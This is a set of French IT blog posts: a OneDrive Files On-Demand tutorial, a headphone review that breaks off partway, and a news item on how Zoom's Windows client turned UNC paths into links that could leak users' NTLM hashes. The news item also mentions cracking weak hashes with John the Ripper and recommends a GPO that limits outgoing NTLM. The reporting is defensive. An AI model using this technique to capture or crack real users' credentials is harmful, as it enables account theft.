<p><strong>La fonctionnalité "Fichiers à la demande" de OneDrive est apparue lors de la sortie de <em>Windows 10 Fall Creators Update</em> (1709), elle permet d'accéder à toutes vos données stockées sur OneDrive à partir de l'explorateur de fichiers, sans qu'elles soient synchronisées en local sur votre PC.</strong> L'objectif étant de vous montrer que les données sont bien là, sans utiliser l'espace disque local de votre PC puisqu'elles sont stockées en ligne sur les serveurs de Microsoft.</p>
<p>OneDrive va se contenter de synchroniser les métadonnées de vos fichiers, ce qui va optimiser l'espace disque utilisé sur votre machine. Dans le cas où vous souhaitez ouvrir un fichier, il va être téléchargé sur votre PC et ouvert dans la foulée. Bien sûr, votre PC doit être connecté à Internet pour que le téléchargement soit possible. Pour indiquer l'état de chaque dossier et de chaque fichier, il y a différents icônes, nous en reparlerons.</p>
<h2>II. Activer les fichiers à la demande</h2>
<p>Pour vérifier que l'état de cette fonctionnalité sur votre PC, effectuez un clic droit sur le client OneDrive et cliquez sur "<strong>Paramètres</strong>".</p>
<p><img class="aligncenter size-full wp-image-34620" src="media/a64d249e.onedrive-files-on-demand-02.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-02.jpg" alt="" width="600" height="511" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-02.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-02-550x468.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-02-150x128.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-02-160x136.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-02-50x43.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Dans l'onglet "<strong>Paramètres</strong>", il y a une section "<strong>Fichiers à la demande</strong>" dans le bas de la fenêtre, si l'option "<strong>Libérez de l'espace et téléchargez des fichiers lorsque vous avez besoin de les utiliser</strong>" est cochée alors c'est tout bon. Sinon, il suffit de cocher cette option.</p>
<p><img class="aligncenter size-full wp-image-34619" src="media/bcdda88b.onedrive-files-on-demand-03.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-03.jpg" alt="" width="600" height="716" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-03.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-03-550x656.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-03-126x150.jpg 126w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-03-134x160.jpg 134w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-03-42x50.jpg 42w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<h2>III. Fichiers à la demande : les icônes de statut</h2>
<p>Pour indiquer l'état des données de votre espace OneDrive, l'explorateur de fichiers de Windows va afficher une colonne "Statut" qui va contenir différents icônes. Plus précisément, trois icônes différents. Voici ces trois icônes :</p>
<p><img class="aligncenter size-full wp-image-34618" src="media/04feef76.onedrive-files-on-demand-01.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-01.jpg" alt="" width="600" height="278" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-01.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-01-550x255.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-01-150x70.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-01-160x74.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-01-50x23.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Il est important de bien comprendre la signification de ces trois icônes :</p>
<p><strong>1</strong> - Lorsque le nuage s'affiche c'est que le fichier est seulement disponible en ligne ; autrement dit il n'est pas sur votre PC. Vous devez être connecté à Internet pour pouvoir le télécharger et l'ouvrir si besoin.</p>
<p><strong>2</strong> - Lorsque le cercle vert est blanc au centre, c'est que le fichier est accessible sans réseau, il est donc disponible en local sur votre PC. Typiquement, un fichier qui avait le premier icône mais que vous venez d'ouvrir va obtenir ce statut.</p>
<p><strong>3</strong> - Lorsque le cercle vert l'est également au centre, alors c'est que le fichier est accessible également sans réseau. Cela veut surtout dire que vous avez forcé le fait qu'il soit toujours disponible sur votre PC. Cette option, que nous verrons juste après, est pratique s'il y a certains fichiers ou dossiers que vous souhaitez avoir toujours en synchronisation en local.</p>
<p>Voilà pour ce qui est des trois icônes d'état de vos données Cloud. Il y a quand même un quatrième icône, rouge, qui s'affiche s'il y a un problème de synchronisation avec un fichier ou un dossier (exemple : un conflit).</p>
<h2>IV. Gérer l'espace disque</h2>
<p>Via l'explorateur de fichiers, si vous naviguez dans votre OneDrive et que vous effectuez un clic droit sur un fichier ou un dossier, vous verrez deux options très intéressantes et directement liées à la fonction "fichiers à la demande" :</p>
<ul>
<li><strong>Toujours conserver sur cet appareil</strong></li>
</ul>
<p>Si l'option est cochée, alors l'item en question aura l'icône "3" que nous avons vu précédemment. Si vous décochez cette option, le fichier passera sur le statut 2, cela signifie que le fichier reste en local mais que vous acceptez qu'il soit supprimé du stockage local pour passer en mode Cloud exclusif (statut = 1) s'il y a besoin de libérer de l'espace disque.</p>
<ul>
<li><strong>Libérer de l'espace</strong></li>
</ul>
<p>Si vous cliquez sur cette option sur un dossier (ou un fichier) qui est synchronisé en local (statut 2 ou 3) alors<strong> les données seront supprimées du cache local, et elles passeront en mode Cloud.</strong> Que ce soit bien clair : les données ne sont pas complètement supprimées : seulement de votre PC, elle reste accessible sur OneDrive en ligne et visible dans l'explorateur.</p>
<p>Autrement dit, cela est <strong>un bon moyen de récupérer de l'espace disque sur votre PC en repassant en mode Cloud des données que vous n'avez pas forcément nécessité d'avoir en local</strong>. Attention, cette action est immédiate et il n'y a pas de demande de confirmation.</p>
<p><img class="aligncenter size-full wp-image-34621" src="media/1e769ce6.onedrive-files-on-demand-04.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-04.jpg" alt="" width="600" height="433" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-04.jpg 600w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-04-550x397.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-04-150x108.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-04-160x115.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/onedrive-files-on-demand-04-50x36.jpg 50w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Avec ces informations, vous êtes désormais en mesure d'utiliser la fonctionnalité de fichiers à la demande, qui est vraiment très pratique ! 😉</p>


feed_id: https://www.it-connect.fr/?p=34830
title: Windows 10 : attention aux fuites d’identifiants avec le client Zoom
uri: Windows-10-attention-aux-fuites-d-identifiants-avec-le-client-Zoom
url: https://www.it-connect.fr/windows-10-attention-aux-fuites-didentifiants-avec-le-client-zoom/
content:
<p><strong>Compte-tenu des circonstances actuelles et des fonctionnalités qu'elle propose, la solution de vidéoconférence Zoom devient de plus en plus populaire et les chercheurs en sécurité s'intéressent tout particulièrement à elle ces derniers jours. Un nouveau problème de sécurité est signalé.</strong></p>
<p>Le problème est le suivant : la fonctionnalité de discussion de groupe du client Zoom pour Windows 10 peut être utilisée pour partager des liens. Jusque là tout est normal. <strong>Le problème, c'est que si l'on clic sur ce lien, le client Zoom peut divulguer les identifiants Windows de la personne qui va interagir avec le lien.</strong></p>
<p>En fait, le client Zoom converti en lien hypertexte les URL mais également les chemins UNC, que l'on a l'habitude d'utiliser pour accéder à un partage SMB dans un environnement Windows. Voici un exemple de chemin UNC : \\mon-serveur\partage</p>
<p>Par défaut, lorsque l'on va cliquer sur un chemin UNC dans Windows, <strong>le système d'exploitation va tenter de s'y connecter en fournissant l'identifiant de l'utilisateur connecté sur la machine, ainsi que le hash de ses identifiants (NTLM).</strong> En complément, l'adresse IP est également récupérable. Puisqu'il y a un hash, ce n'est pas en clair directement, mais si le mot de passe de l'utilisateur n'est pas suffisamment complexe, il pourrait craqué assez rapidement en utilisant un outil adapté comme John the Ripper, par exemple.</p>
<p>Le chercheur britannique Matthew Hickey alias "<em>_g0dmode</em>" est à l'origine de cette trouvaille. Il précise également que cela pourrait être utilisé dans le cadre d'attaque et qu'il faut rester vigilant avant de cliquer sur les liens diffusés. <strong>D'après lui, les chemins UNC ne devraient pas être converti en lien hypertexte.</strong></p>
<p>En attendant, si vous utilisez Zoom sur Windows 10 et que vous souhaitez réduire les risques, vous pouvez <a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-restrict-ntlm-outgoing-ntlm-traffic-to-remote-servers" target="_blank" rel="noopener noreferrer">déployer un paramètre sur vos PCs pour limiter le trafic NTLM sortant vers les serveurs distants</a>. Cela s'applique par GPO (ou à la main poste par poste) donc ce n'est pas gagné pour tout le monde en cette période de confinement.</p>
<p>Ce n'est pas le premier problème lié à la sécurité de Zoom remonté ces derniers temps, notamment sur le respect de la vie privée et des failles de sécurité au sein du client pour MacOS.</p>
<p><a href="https://www.zdnet.com/article/windows-10-alert-zoom-client-can-leak-your-network-login-credentials/" target="_blank" rel="noopener noreferrer">Source</a></p>


feed_id: https://www.it-connect.fr/?p=34576
title: Test Tribit QuietPlus : Bluetooth et réduction de bruit à moins de 100€
uri: Test-Tribit-QuietPlus-Bluetooth-et-réduction-de-bruit-à-moins-de-1
url: https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/
content:
<h2>I. Présentation</h2>
<p>Je vous ai déjà parlé des produits Tribit avec deux précédents tests, au sujet d'enceintes Bluetooth. Cette fois-ci, je vais vous parler d'<strong>un casque sans-fil, supra auriculaire à réduction de bruit active</strong>, il s'agit du <strong>Tribit QuietPlus</strong>. Ce casque est une nouveauté de 2020 présentée lors du dernier CES à Las Vegas. Les casques à réduction de bruit active sont généralement onéreux, Tribit a souhaité relever le défi de proposer un modèle qui ne dépasse pas les 100 euros : qu'en est-il ? Nous allons voir cela ensemble.</p>
<p>📌 <a href="https://www.it-connect.fr/tag/tribit/" target="_blank" rel="noopener noreferrer">Voir les tests Tribit</a></p>
<p>Le casque <strong>Tribit QuietPlus</strong> est également référencé BTH100 chez Tribit. Pour commencer, voici ses caractéristiques :</p>
<ul>
<li>Casque ajustable de différentes manières</li>
<li>Technologie de réduction de bruit active</li>
<li>Deux drivers de 40 mm - aptX HD</li>
<li>Intègre un micro pour passer des appels téléphoniques</li>
<li>Connexion Bluetooth 5.0</li>
<li>Connectique : USB-C et Jack 3.5 mm</li>
<li>Autonomie annoncée de 30 heures</li>
<li>Temps de charge : 3 heures maximum</li>
<li>Poids : 505 grammes</li>
</ul>
<p><img class="aligncenter size-full wp-image-34591" src="media/8becb882.tribit-quiet-plus-photo-10.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-10.jpg" alt="" width="800" height="600" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-10.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-10-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-10-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-10-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-10-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-10-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<h2>II. Package et design</h2>
<p>Le package est aux couleurs de Tribit : orange et blanc. Il présente assez bien le produit, avec notamment les caractéristiques techniques, mais sans insister sur les fonctionnalités et atouts du casque en lui-même. Toutes les informations sont inscrites en anglais.</p>
<p>Dans la boîte, nous retrouvons les éléments suivants : le casque sans-fil, la boîte de transport, la notice utilisateur (français inclus), la carte de garantie, ainsi que deux câbles, l'un pour la recharge en USB-C et un second pour connecter le câble en filaire (audio stéréo Jack 3.5mm).</p>

<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-package-01/'><img width="550" height="413" src="media/29594b8a.tribit-quiet-plus-package-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-package-02/'><img width="550" height="413" src="media/cb49cb62.tribit-quiet-plus-package-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-package-03/'><img width="550" height="413" src="media/65abbd67.tribit-quiet-plus-package-03-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-03-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-03-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-03-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-03-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-03.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-package-04/'><img width="550" height="413" src="media/0c337bd3.tribit-quiet-plus-package-04-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-04-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-04-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-04-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-04-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-04-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-04-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-package-04.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p><strong>Le casque est relativement imposant, cela est normal, car il s'agit d'un casque supra auriculaire donc il englobe vos oreilles.</strong> Néanmoins, comme il se pli cela le rend assez compact pour le transport, d'autant plus que l'on peut utiliser la boîte fournie.</p>
<p>Le casque est entièrement noir, que ce soit les parties en plastique ou les mousses pour le confort. La coque est entièrement en plastique, que ce soit au niveau des oreillettes ou pour l'arceau. Bien entendu, les charnières et le système de réglage quant à eux sont métalliques pour une meilleure solidité. <strong>Les oreillettes sont également réglables, ou plutôt orientables de haut en bas, de gauche à droite.</strong></p>
<p>L'aspect est assez basique et neutre, nous retrouvons seulement la mention Tribit sur le côté de chaque oreillette, mais bien que ce soit entièrement en plastique, cela ne fait pas "cheap". La qualité de fabrication est bonne, les finitions sont propres, il n'y a rien à redire là-dessus. Il faudrait voir dans le temps dans quel état devient le plastique.</p>
<p>Concernant les mousses, que ce soit au niveau de l'arceau ou des oreillettes, elles sont assez dures, ce qui est important pour que le casque s'adapte bien à votre tête.</p>

<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-photo-01/'><img width="550" height="413" src="media/5ff09551.tribit-quiet-plus-photo-01-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-01-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-01-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-01-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-01-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-01-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-01-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-01.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-photo-02/'><img width="550" height="413" src="media/1469f438.tribit-quiet-plus-photo-02-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-02-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-02-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-02-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-02-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-02-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-02-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-02.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-photo-03/'><img width="550" height="413" src="media/ebbd74ea.tribit-quiet-plus-photo-03-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-03-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-03-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-03-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-03-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-03-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-03-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-03.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-photo-04/'><img width="550" height="413" src="media/737bd6a8.tribit-quiet-plus-photo-04-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-04-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-04-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-04-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-04-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-04-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-04-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-04.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-photo-05/'><img width="550" height="413" src="media/41fe3bd5.tribit-quiet-plus-photo-05-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-05-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-05-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-05-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-05-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-05-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-05-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-05.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-photo-06/'><img width="550" height="413" src="media/b9f072f2.tribit-quiet-plus-photo-06-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-06-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-06-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-06-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-06-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-06-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-06-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-06.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-photo-07/'><img width="550" height="413" src="media/e663ab35.tribit-quiet-plus-photo-07-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-07-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-07-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-07-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-07-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-07-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-07-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-07.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>
<a href='https://www.it-connect.fr/test-tribit-quietplus-bluetooth-et-reduction-de-bruit-a-moins-de-100e/tribit-quiet-plus-photo-08/'><img width="550" height="413" src="media/6d3ae3d0.tribit-quiet-plus-photo-08-550x413.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-08-550x413.jpg" class="attachment-medium size-medium" alt="" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-08-550x413.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-08-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-08-768x576.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-08-160x120.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-08-50x38.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2020/03/tribit-quiet-plus-photo-08.jpg 800w" sizes="(max-width: 550px) 100vw, 550px" /></a>

<p><strong>L'intégralité des boutons et de la connectique sont situées au niveau de l'oreillette droite.</strong> De ce côté, il y a également les LED pour indiquer l'état du casque. Concernant les boutons, il y a en a plusieurs : un bouton pour gérer l'allumage et l'extinction du casque, avec juste au-dessus un bouton pour augmenter le volume, et juste en dessous un bouton pour baisser le volume. Le bouton de gestion de l'alimentation est plus enfoncé que ceux pour le volume, ce qui permet de se "repérer" plus facilement au toucher ; ce qui est bien pensé.</p>
<p>Note : le bouton de gestion de l'alimentation est en vérité un bouton multifonction, car il sert aussi à mettre pause/lecture (appui court), à passer à la piste suivante (2 appuis) ou revenir à la piste précédente (3 appuis), ainsi qu'à activer l'assistant vocal de votre smartphone. Pour la gestion des appels, ce bouton sert aussi à prendre ou rejeter un appel entrant, via un appui court ou appui prolongé.</p>
<p>Plus bas sur l'oreillette, <strong>un bouton sous forme d'interrupteur permet d'activer ou désactiver la réduction de bruit, et la LED d'état de cette fonctionnalité est située juste à droite.</strong></p>
<h2>III. Le Tribit QuietPlus à l'usage</h2>
<p>Grâce à la connexion Bluetooth 5.0, la connexion sans-fil se montre efficace et la portée dépasse les 10 mètres, ce qui est confortable à l'usage. Vous pouvez vous déplacer avec le casque sur la tête sans forcément avoir votre smartphone avec vous. Lorsque l'on démarre le casque, il se connecte très rapidement au smartphone, c'est de l'instantané ce qui est appréciable.</p>
<p>La qualité audio est satisfaisante en Bluetooth, mais lorsque l'on passe en connexion par câble Jack, <strong>il y a un gain supplémentaire au niveau de la qualité audio</strong>. Cela permet notamment d'utiliser le Dolby Atmos ou de jouer avec un égaliseur, par exemple. <strong>Pour profiter des codecs aptX et AAC la connexion filaire sera intéressante. </strong>À ce sujet, Tribit ne propose pas d'application pour configurer le casque, il faudra passer par une application tierce ou par les options natives de votre smartphone.</p>
<p><strong>Concernant la réduction de bruit active (ANC), elle est relativement efficace et on sent une réelle différence</strong>. Après, faut-il l'activer ou non ? Ça dépend de l'environnement dans lequel on se situe, et aussi du type de musique que l'on écoute. Quoi qu'il en soit, pour un casque à moins de 100 euros, on se retrouve avec une bonne ANC !</p>
